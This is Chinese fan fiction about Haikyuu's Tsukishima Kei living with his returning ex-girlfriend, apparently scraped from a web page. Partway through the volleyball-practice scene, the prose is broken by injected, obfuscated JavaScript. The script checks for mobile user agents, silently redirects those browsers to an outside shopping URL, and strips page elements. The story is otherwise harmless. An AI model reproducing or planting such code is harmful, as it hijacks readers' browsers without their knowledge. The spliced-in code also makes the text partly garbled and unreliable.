月岛萤看了看手表：“我家里人偶尔会过来，被子和枕头都是干净的。浴室你可以随便用，洗漱用品在柜子里有新的。我出去买点东西、大概三十分钟之后回来。” “你去买什么呀？” 月岛萤将她的行李箱搬进客房，面无表情地说：“你的晚饭。” 北里悠花的眼睛亮了亮：“我要无糖酸奶，还想吃那个布丁。” 没有具体说是哪款布丁，但她知道月岛萤一定记得。高三时北里悠花早上懒得绕路去便利店，就经常让月岛萤买来带给她吃。热量低、奶味却很足，是她在减肥期间为数不多的心灵慰藉。 “知道了。” “那我可以逛逛你家嘛？” “随你。” 门被月岛萤关上了。 北里悠花立马巡视起这间充满单身气息的公寓，试图拼凑起这些年自己所不熟悉的月岛萤。 她轻手轻脚地推开月岛萤卧室的门：床很整洁，书架上摆满了历史和博物馆学的专业书籍，书桌上放着排球部的合照、和一台笔记本电脑。 而另外一个架子上，还放着月岛萤的恐龙模型。 北里悠花走近，与一堆奇形怪状的恐龙对视。她左看右看，也没找到以前她送给月岛萤的那个等比例缩小版迷你剑龙。于是手指泄愤似的戳了戳最前排霸王龙的豆豆眼，却没想到一个不小心霸王龙没站稳—— 哐当一声。 霸王龙仰面朝天，掉在了地上。 北里悠花：“……” 她弯腰捡起霸王龙，把它放到原位。 结果刚放上架子，手背又再次碰到了后面的翼龙。哪知翼龙也没站稳，坚硬的翅膀甩到了左边的甲龙…… 像是多米诺骨牌一样，一堆恐龙就这样在她眼前一个接一个地倒下。 北里悠花：“……” 完蛋！ 她根本不记得这些恐龙原来的站位了啊啊啊！ 北里悠花手忙脚乱地开始收拾残局。 嗯，先放翼龙、再放甲龙、最后是…… 欸！？ 这不是她送给月岛萤的那个迷你剑龙吗？为什么放在最后面啊，完全被挡住了！ 因为体积实在太小，北里悠花刚才根本没有发现被月岛萤藏在一堆巨型恐龙后的迷你剑龙。但不过只是几秒钟，她就明白了月岛萤的用意。 什么嘛。 小心眼！ 北里悠花终于把这堆恐龙摆好了位置。 迷你剑龙待在展示柜的最前面，竖起了尖尖的尾刺。 * 月岛萤回家时，浴室传来洗澡的声音。玄关处，他的排球鞋正和北里悠花的圆头玛丽珍靠在一起。 把酸奶和布丁放进冰箱，却看见客厅的衣架上挂着北里悠花的外套。 月岛萤：“……” 水流声停了。 过了一会儿，穿着睡裙的北里悠花从房间里走出来。她的头发还有些湿漉漉的、也没吹干，听到客厅里的动静就跑了出来。 “你回来啦！” 她看着月岛萤，笑得眼睛弯弯的。 这是北里悠花。 竟然是北里悠花。 从重逢开始，一切就有种巨大的不真实感——六年没见的前女友竟然会在他的家里、迎接他回家。 月岛萤的喉咙发紧：“嗯。” “我的布丁呢。” “……在冰箱。” 46.46. 北里悠花朝月岛萤抬了抬下巴，示意他把布丁放到餐桌上：“可我现在就想吃。” 见她发梢还在滴水，月岛萤皱眉：“先去把头发吹干。” “我不要，除非你帮我吹。” “……” 月岛萤不为所动。 两人陷入短暂的僵持。 直到意识到自己现在是寄人篱下的求复合状态、不能跟以前一样耍赖了，北里悠花这才耷拉起脑袋，不情不愿地拖着拖鞋走进浴室吹头。 再次来到客厅时，酸奶和布丁被拿了出来、旁边还贴心地放了两把小勺子。月岛萤已经回了卧室，一副大门紧闭要与她划清界限的样子。 北里悠花：“……” 她又不会吃了他！装什么纯情处男呢！ 反正他逃她追他插翅难飞。 北里悠花直接敲他的卧室门：“你在干嘛？” 听到敲门声时，房内的月岛萤正在查阅文献资料。感知到大事不妙，他做足了心理建设起身。果然、一开门就看到北里悠花光着两条腿在他面前晃悠，还摆出一张让人无法拒绝的笑脸来： “萤君，陪我吃饭。” “你觉得我很闲么？” 她到底哪里来的底气，住进他家了还理直气壮地使唤他？？？ 月岛萤一问，北里悠花就惊讶、表情分明透露出“你难道不闲么”的意思。她刚要说些什么，月岛萤却准备再次关上房门。 “——等下！”北里悠花一把制止月岛萤的动作，“好啦好啦，我是有重要的事和你说，快出来嘛～” 几乎是撒泼打滚的态势之下，两人这才又坐到了一张餐桌上。 北里悠花撕开包装，很快消灭了布丁和酸奶。 就在月岛萤耐心告罄前，北里悠花解锁自己放在一旁的手机发送了条消息，然后朝他晃了晃：“看手机。” 「Yuuka请求添加您为好友」。 北里悠花LINE的名字没有变，甚至连头像都还是原来那个戴着黑框眼镜的小丸子——决定和月岛萤复合后，她就在来仙台前把原本的头像换成了交往时候的，简直堪称万无一失、肯定能唤起月岛萤的旧情。 而记仇的月岛萤正皮笑肉不笑。 很好，他又想起当初分手、LINE被她拉黑这件事了。 “我猜萤君的LINE还是原来那个，果然没错～” “我之前的账号不用啦，萤君快通过一下我的好友申请。毕竟我们都同居了，如果连联系方式也没有就太说不过去了……” 同居？ 北里悠花的语言表达实在过于暧昧。不过月岛萤并没有犹豫，很快就通过了好友申请。 「Tsuki已将您加为好友。」 北里悠花将备注熟练地修改成「K君」，并发去一条消息。 Yuuka： 「大好き。」 K君就坐在她面前，并且已读了这条表白。 月岛萤：“……” 月岛萤不可避免地回想起，在多年前的某个放课后，北里悠花也是这样毫无章法地闯进他的世界、站在教室里举起手机要他的联系方式。也不管他是不是愿意、就强势地宣布了喜欢。 北里悠花从前就很笃定他会喜欢上她，直到今天也依旧如此。 几乎是在看到那句「大好き」的瞬间，月岛萤就哄好了自己。 月岛萤锁屏，心里涌出一股微妙的愉悦。他习惯性地、伸手碰了下北里悠花的发顶，意识到自己的动作有些逾矩，又很快移开： “明天我八点二十分左右出门上班，晚上球队有训练、会晚点回来。” 他的口吻也十分自然，没了刚才的傲娇劲。 这算是报备行程吗？北里悠花有些懵懵的。 还是说自己LINE表白的威力竟然那么大？直接治好了月岛萤的口是心非？！看来以后还是要多说甜言蜜语，月岛萤果然喜欢打直球！ “哦……”她发出一个单音节回复，“那你大概几点能回来呀？” “九点左右吧。”月岛萤说。 “如果有要我带回来的东西，提前发消息给我，我会看。” “知道啦。” “家里的密码我等下发给你。” “好哦。” * 同居的第一个夜晚就这样平淡无波地过去。 由于北里悠花的生物钟昼夜颠倒，醒来时已经快中午，还全身散发着月岛萤的同款味道。她昨晚用了月岛萤的LELABO沐浴露、有淡淡的柑橘留香。 从前北里悠花就发现了，月岛萤是个有品位的潮男。 比如他爱喷的香水是罗意威的，冬天戴的围巾是巴宝莉经典黑格子，毛衣上会出现拉夫劳伦的小logo。月岛萤并不主动去追求这些品牌，只是因为符合他的审美、所以才选择购买。 又赖了一会儿床，这才睡眼惺忪地走出房门。 月岛萤早就猜到北里悠花起不来，出门上班前已经将早餐摆在了桌上，是北里悠花喜欢的果汁和蔓越莓贝果。他准备这些的动作很轻，北里悠花早上一点都没有被吵醒。 看着早餐发了一会儿呆，这才拍下照片发给月岛萤。 Yuuka： 「（图片）我起床啦！」 大概是在忙工作，等北里悠花洗漱完他才回复。 K君： 「嗯，好好吃饭。」 在外人眼里，月岛萤或许是不近人情的冷漠男。但在北里悠花看来，月岛萤一直体贴、细心，还很会照顾她，虽然和温柔暖男确实沾不上边就是了。 于是北里悠花咬了口贝果，正式开启了米虫般的宅女生活。作为艺人，没有工作的日子她一般选择在家里高强度上网冲浪，补全那些错过的SNS热梗、流行元素、动漫和电视剧。看累了就在客厅伸展身体做点运动，再在亚马逊上疯狂购物。 此时，月岛萤正处于截然相反的社畜时间。他的手机消息又“登登登”地弹出，直到堆积了十几条新消息、他才得以从企划案地狱中逃离喘息。 北里悠花的分享欲随着年龄增长愈加旺盛。 Yuuka： 「谢谢萤君给我准备的早饭（比心）我都吃完了！（图片）」 配图是空盘子。 Yuuka： 「呵呵，这部晨间剧萤君看过嘛？男主角演技也太烂了！我之前出席颁奖典礼见过他，对工作人员态度超差的，真是好恶（呕）」 配了一个呕吐出彩虹的表情包。 Yuuka： 「哈哈哈哈哈你快看，这张梗图太搞笑了吧！（图片）」 发来一张她从推特上搜刮来的烂梗。 Yuuka： 「我在亚马逊上买了一点东西哦，大概周末会送到，填了家里的地址～（图片）」 最后是北里悠花长长的购物清单，显然已经不能用“一点”来形容数量了。 月岛萤点开看了眼，全是些家居用品——毛茸茸的白色沙发毯、放化妆品的亚克力收纳盒、两只软乎乎的抱枕、两双拖鞋、两个不同颜色的洗漱杯……越看越觉得北里悠花不是打算住两周而是打算住两年，甚至大小姐买的都还是些情侣款。 不难看出北里悠花的用意。 月岛萤的嘴角微微翘起，回复信息后就继续工作。 K君： 「好。」 「没看过。」 「……烂梗。」 「……一点？」 * 仙台蛙。 虽然仍在休赛期，但放了三周假的仙台蛙恢复了日常训练。下赛季开始就要升入V1联赛，一切都是未知的领域、故而训练强度骤然增加。 排球鞋摩擦体育馆光滑的地板，发出嘎吱嘎吱的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937898|186292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 随着京谷贤太郎向上跳起，打出一记暴力扣球。 “Nice ball！” 黄金川贯至大声欢呼。 月岛萤不擅长应对过于热情且有能量的人，日向翔阳和黄金川贯至都是同一个类型，感觉随时都能融化他。 换完衣服上了场，就进行基础热身。动态拉伸、小幅跳蹲、发球、垫球。上班的疲惫完全从身体清除，现在他的大脑十分清醒，只专注于排球运动的轨迹。 但休息时间，黄金川贯至还是拉着月岛萤和京谷贤太郎聊天。他猛喝了一大口水，对着两张嫌弃的脸也毫不在意、继续热情洋溢地发表讲话： “听我说——这次休假我可是去东京旅游了哦！呜哇，果然大城市就是不一样，我还去涩谷SKY打卡了呢！” 他翻找手机相册里的照片，得意洋洋地炫耀起东京之行的碎片。 月岛萤瞟了眼，黄金川贯至标志性的小鸟发型高高竖起、举起一个剪刀手，在涩谷繁华的夜景下留下一张纪念照。 京谷贤太郎自然没什么兴趣，看了眼就收回视线。 倒是月岛萤擦了擦汗，评价道：“你还是小学生吗？去次东京都那么兴奋？” “那不一样啊！高中时候去东京都是为了比赛吧，成年之后去就可以完全享受旅行了。而且……” 黄金川贯至在这时停顿。 他深吸了一口气，说出的话也结结巴巴：“而且，东、东京的漂亮女生，超、超多的——！！！” 最怕排球笨蛋突然开窍。 身材高大的二传手脸上出现莫名其妙的红晕，看得月岛萤和京谷贤太郎鸡皮疙瘩满地。 月岛萤：“……” 京谷贤太郎：“……” 月岛萤起身：“去训练吧。” 京谷贤太郎：“啊，哦。” 黄金川贯至：“你们怎么走了？！！月岛——京谷——！！！” * 训练结束。 月岛萤从储物柜中拿出手机，东京的漂亮女生之一·在家无所事事的北里悠花发来消息。 Yuuka： 「训练还没结束啊——（小猫打滚）」 「对啦！回家有惊喜哦～」 “家”这个字眼真的很神奇。 平时并不觉得，真正用起来又无比亲密。表示他们正处于同一空间，是近在咫尺、随时可以触碰到彼此的关系。 月岛萤拎起运动包，对还在少男怀春的黄金川贯至说了句“我先走了”，就步入夜晚微凉的空气中。他走得太快，黄金川贯至还没来得及反应、就已经看不到他的身影。 输入密码、推开家门。 很难得的画面。 ——本该冷清安静的客厅，此时正播放着北里悠花最爱的小丸子。暖光让人犯困，北里悠花已经靠在沙发上睡着了、像只在冬眠的小动物。听到月岛萤进门的响动，她才勉强迷迷糊糊地睁开眼睛： “欢迎回来。” 她的声音很轻，说完就又换了个姿势、继续陷入昏迷状态。 月岛萤只能轻手轻脚走进家里，却在餐桌前愣住。 盘子里，正放着六个草莓味的纸杯小蛋糕。顶上简单裱了一圈粉色奶油，又撒上几颗颜色鲜艳的糖豆。 以前北里悠花就爱捣鼓这些，从超市里直接买现成的小蛋糕回来再喷上奶油、撒点装饰就算自己的“手作”送给他。那么多年了，甜品技术一点也没进步。 还是那个他最熟悉的、北里悠花牌自制小蛋糕。 月岛萤看了看小蛋糕、又看了看睡得东倒西歪的北里悠花。心里一片柔软，是很奇怪的、酸涩的感情。 21点45分，月岛萤收到了来自北里悠花的惊喜。 21点50分，月岛萤再次确定。 ——他还喜欢着北里悠花。或者说，他依然爱着北里悠花。